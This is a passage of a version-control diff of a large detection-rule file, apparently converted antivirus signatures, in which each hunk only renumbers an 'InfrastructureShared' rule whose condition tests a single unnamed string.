"!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -331012,7 +347851,7 @@ rule _InfrastructureShared_25132{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25133{ +rule _InfrastructureShared_26447{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -331022,7 +347861,7 @@ rule _InfrastructureShared_25133{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25134{ +rule _InfrastructureShared_26448{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -331032,7 +347871,7 @@ rule _InfrastructureShared_25134{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25135{ +rule _InfrastructureShared_26449{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -331042,7 +347881,7 @@ rule _InfrastructureShared_25135{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25136{ +rule _InfrastructureShared_26450{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -331052,7 +347891,7 @@ rule _InfrastructureShared_25136{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25137{ +rule _InfrastructureShared_26451{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -331062,7 +347901,7 @@ rule _InfrastructureShared_25137{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25138{ +rule _InfrastructureShared_26452{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -331072,7 +347911,7 @@ rule _InfrastructureShared_25138{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25139{ +rule _InfrastructureShared_26453{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -331082,7 +347921,7 @@ rule _InfrastructureShared_25139{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25140{ +rule _InfrastructureShared_26454{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -331092,7 +347931,7 @@ rule _InfrastructureShared_25140{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25141{ +rule _InfrastructureShared_26455{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -331102,7 +347941,7 @@ rule _InfrastructureShared_25141{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25142{ +rule _InfrastructureShared_26456{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -331112,7 +347951,7 @@ rule _InfrastructureShared_25142{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25143{ +rule _InfrastructureShared_26457{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -331122,7 +347961,7 @@ rule _InfrastructureShared_25143{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25144{ +rule _InfrastructureShared_26458{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -331132,7 +347971,7 @@ rule _InfrastructureShared_25144{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25145{ +rule _InfrastructureShared_26459{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -331142,7 +347981,7 @@ rule _InfrastructureShared_25145{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25146{ +rule _InfrastructureShared_26460{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -331152,7 +347991,7 @@ rule _InfrastructureShared_25146{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25147{ +rule _InfrastructureShared_26461{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -331162,7 +348001,7 @@ rule _InfrastructureShared_25147{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25148{ +rule _InfrastructureShared_26462{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -331172,7 +348011,7 @@ rule _InfrastructureShared_25148{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25149{ +rule _InfrastructureShared_26463{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -331182,7 +348021,7 @@ rule _InfrastructureShared_25149{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25150{ +rule _InfrastructureShared_26464{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -331192,7 +348031,7 @@ rule _InfrastructureShared_25150{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25151{ +rule _InfrastructureShared_26465{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -331202,7 +348041,7 @@ rule _InfrastructureShared_25151{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25152{ +rule _InfrastructureShared_26466{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -331212,7 +348051,7 @@ rule _InfrastructureShared_25152{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25153{ +rule _InfrastructureShared_26467{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -331222,7 +348061,7 @@ rule _InfrastructureShared_25153{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25154{ +rule _InfrastructureShared_26468{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -331232,7 +348071,7 @@ rule _InfrastructureShared_25154{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25155{ +rule _InfrastructureShared_26469{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -331242,7 +348081,7 @@ rule _InfrastructureShared_25155{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25156{ +rule _InfrastructureShared_26470{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -331252,7 +348091,7 @@ rule _InfrastructureShared_25156{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25157{ +rule _InfrastructureShared_26471{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -331262,7 +348101,7 @@ rule _InfrastructureShared_25157{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25158{ +rule _InfrastructureShared_26472{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -331272,7 +348111,7 @@ rule _InfrastructureShared_25158{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25159{ +rule _InfrastructureShared_26473{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -331282,7 +348121,7 @@ rule _InfrastructureShared_25159{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25160{ +rule _InfrastructureShared_26474{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -331292,7 +348131,7 @@ rule _InfrastructureShared_25160{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25161{ +rule _InfrastructureShared_26475{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -331302,7 +348141,7 @@ rule _InfrastructureShared_25161{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25162{ +rule _InfrastructureShared_26476{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -331312,7 +348151,7 @@ rule _InfrastructureShared_25162{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25163{ +rule _InfrastructureShared_26477{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -331322,7 +348161,7 @@ rule _InfrastructureShared_25163{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25164{ +rule _InfrastructureShared_26478{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -331332,7 +348171,7 @@ rule _InfrastructureShared_25164{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25165{ +rule _InfrastructureShared_26479{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -331342,7 +348181,7 @@ rule _InfrastructureShared_25165{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25166{ +rule _InfrastructureShared_26480{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -331352,7 +348191,7 @@ rule _InfrastructureShared_25166{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25167{ +rule _InfrastructureShared_26481{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -331362,7 +348201,7 @@ rule _InfrastructureShared_25167{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25168{ +rule _InfrastructureShared_26482{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -331372,7 +348211,7 @@ rule _InfrastructureShared_25168{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25169{ +rule _InfrastructureShared_26483{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -331382,7 +348221,7 @@ rule _InfrastructureShared_25169{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25170{ +rule _InfrastructureShared_26484{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -331392,7 +348231,7 @@ rule _InfrastructureShared_25170{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25171{ +rule _InfrastructureShared_26485{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -331402,7 +348241,7 @@ rule _InfrastructureShared_25171{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25172{ +rule _InfrastructureShared_26486{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -331412,7 +348251,7 @@ rule _InfrastructureShared_25172{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25173{ +rule _InfrastructureShared_26487{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -331422,7 +348261,7 @@ rule _InfrastructureShared_25173{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25174{ +rule _InfrastructureShared_26488{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -331432,7 +348271,7 @@ rule _InfrastructureShared_25174{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25175{ +rule _InfrastructureShared_26489{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -331442,7 +348281,7 @@ rule _InfrastructureShared_25175{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25176{ +rule _InfrastructureShared_26490{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -331452,7 +348291,7 @@ rule _InfrastructureShared_25176{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25177{ +rule _InfrastructureShared_26491{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -331462,7 +348301,7 @@ rule _InfrastructureShared_25177{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25178{ +rule _InfrastructureShared_26492{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -331472,7 +348311,7 @@ rule _InfrastructureShared_25178{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25179{ +rule _InfrastructureShared_26493{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -331482,7 +348321,7 @@ rule _InfrastructureShared_25179{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25180{ +rule _InfrastructureShared_26494{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -331492,7 +348331,7 @@ rule _InfrastructureShared_25180{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25181{ +rule _InfrastructureShared_26495{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -331502,7 +348341,7 @@ rule _InfrastructureShared_25181{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25182{ +rule _InfrastructureShared_26496{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -331512,7 +348351,7 @@ rule _InfrastructureShared_25182{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25183{ +rule _InfrastructureShared_26497{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -331522,7 +348361,7 @@ rule _InfrastructureShared_25183{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25184{ +rule _InfrastructureShared_26498{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -331532,7 +348371,7 @@ rule _InfrastructureShared_25184{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25185{ +rule _InfrastructureShared_26499{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -331542,7 +348381,7 @@ rule _InfrastructureShared_25185{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25186{ +rule _InfrastructureShared_26500{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -331552,7 +348391,7 @@ rule _InfrastructureShared_25186{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25187{ +rule _InfrastructureShared_26501{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -331562,7 +348401,7 @@ rule _InfrastructureShared_25187{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25188{ +rule _InfrastructureShared_26502{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -331572,7 +348411,7 @@ rule _InfrastructureShared_25188{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25189{ +rule _InfrastructureShared_26503{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -331582,7 +348421,7 @@ rule _InfrastructureShared_25189{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25190{ +rule _InfrastructureShared_26504{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -331592,7 +348431,7 @@ rule _InfrastructureShared_25190{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25191{ +rule _InfrastructureShared_26505{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -331602,7 +348441,7 @@ rule _InfrastructureShared_25191{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25192{ +rule _InfrastructureShared_26506{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -331612,7 +348451,7 @@ rule _InfrastructureShared_25192{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25193{ +rule _InfrastructureShared_26507{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -331622,7 +348461,7 @@ rule _InfrastructureShared_25193{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25194{ +rule _InfrastructureShared_26508{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -331632,7 +348471,7 @@ rule _InfrastructureShared_25194{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25195{ +rule _InfrastructureShared_26509{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -331642,7 +348481,7 @@ rule _InfrastructureShared_25195{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25196{ +rule _InfrastructureShared_26510{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -331652,7 +348491,7 @@ rule _InfrastructureShared_25196{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25197{ +rule _InfrastructureShared_26511{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -331662,7 +348501,7 @@ rule _InfrastructureShared_25197{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25198{ +rule _InfrastructureShared_26512{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -331672,7 +348511,7 @@ rule _InfrastructureShared_25198{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25199{ +rule _InfrastructureShared_26513{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -331682,7 +348521,7 @@ rule _InfrastructureShared_25199{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25200{ +rule _InfrastructureShared_26514{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -331692,7 +348531,7 @@ rule _InfrastructureShared_25200{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25201{ +rule _InfrastructureShared_26515{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -331702,7 +348541,7 @@ rule _InfrastructureShared_25201{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25202{ +rule _InfrastructureShared_26516{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -331712,7 +348551,7 @@ rule _InfrastructureShared_25202{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25203{ +rule _InfrastructureShared_26517{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -331722,7 +348561,7 @@ rule _InfrastructureShared_25203{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25204{ +rule _InfrastructureShared_26518{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -331732,7 +348571,7 @@ rule _InfrastructureShared_25204{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25205{ +rule _InfrastructureShared_26519{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -331742,7 +348581,7 @@ rule _InfrastructureShared_25205{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25206{ +rule _InfrastructureShared_26520{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -331752,7 +348591,7 @@ rule _InfrastructureShared_25206{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25207{ +rule _InfrastructureShared_26521{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -331762,7 +348601,7 @@ rule _InfrastructureShared_25207{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25208{ +rule _InfrastructureShared_26522{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -331772,7 +348611,7 @@ rule _InfrastructureShared_25208{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25209{ +rule _InfrastructureShared_26523{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -331782,7 +348621,7 @@ rule _InfrastructureShared_25209{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25210{ +rule _InfrastructureShared_26524{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -331792,7 +348631,7 @@ rule _InfrastructureShared_25210{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25211{ +rule _InfrastructureShared_26525{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -331802,7 +348641,7 @@ rule _InfrastructureShared_25211{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25212{ +rule _InfrastructureShared_26526{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -331812,7 +348651,7 @@ rule _InfrastructureShared_25212{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25213{ +rule _InfrastructureShared_26527{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -331822,7 +348661,7 @@ rule _InfrastructureShared_25213{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25214{ +rule _InfrastructureShared_26528{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -331832,7 +348671,7 @@ rule _InfrastructureShared_25214{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25215{ +rule _InfrastructureShared_26529{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -331842,7 +348681,7 @@ rule _InfrastructureShared_25215{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25216{ +rule _InfrastructureShared_26530{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -331852,7 +348691,7 @@ rule _InfrastructureShared_25216{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25217{ +rule _InfrastructureShared_26531{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -331862,7 +348701,7 @@ rule _InfrastructureShared_25217{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25218{ +rule _InfrastructureShared_26532{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -331872,7 +348711,7 @@ rule _InfrastructureShared_25218{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25219{ +rule _InfrastructureShared_26533{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -331882,7 +348721,7 @@ rule _InfrastructureShared_25219{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25220{ +rule _InfrastructureShared_26534{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -331892,7 +348731,7 @@ rule _InfrastructureShared_25220{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25221{ +rule _InfrastructureShared_26535{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -331902,7 +348741,7 @@ rule _InfrastructureShared_25221{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25222{ +rule _InfrastructureShared_26536{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -331912,7 +348751,7 @@ rule _InfrastructureShared_25222{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25223{ +rule _InfrastructureShared_26537{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -331922,7 +348761,7 @@ rule _InfrastructureShared_25223{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25224{ +rule _InfrastructureShared_26538{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -331932,7 +348771,7 @@ rule _InfrastructureShared_25224{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25225{ +rule _InfrastructureShared_26539{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -331942,7 +348781,7 @@ rule _InfrastructureShared_25225{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25226{ +rule _InfrastructureShared_26540{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -331952,7 +348791,7 @@ rule _InfrastructureShared_25226{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25227{ +rule _InfrastructureShared_26541{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -331962,7 +348801,7 @@ rule _InfrastructureShared_25227{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25228{ +rule _InfrastructureShared_26542{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -331972,7 +348811,7 @@ rule _InfrastructureShared_25228{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25229{ +rule _InfrastructureShared_26543{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -331982,7 +348821,7 @@ rule _InfrastructureShared_25229{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25230{ +rule _InfrastructureShared_26544{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -331992,7 +348831,7 @@ rule _InfrastructureShared_25230{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25231{ +rule _InfrastructureShared_26545{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -332002,7 +348841,7 @@ rule _InfrastructureShared_25231{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25232{ +rule _InfrastructureShared_26546{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -332012,7 +348851,7 @@ rule _InfrastructureShared_25232{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25233{ +rule _InfrastructureShared_26547{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -332022,7 +348861,7 @@ rule _InfrastructureShared_25233{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25234{ +rule _InfrastructureShared_26548{ meta: description = 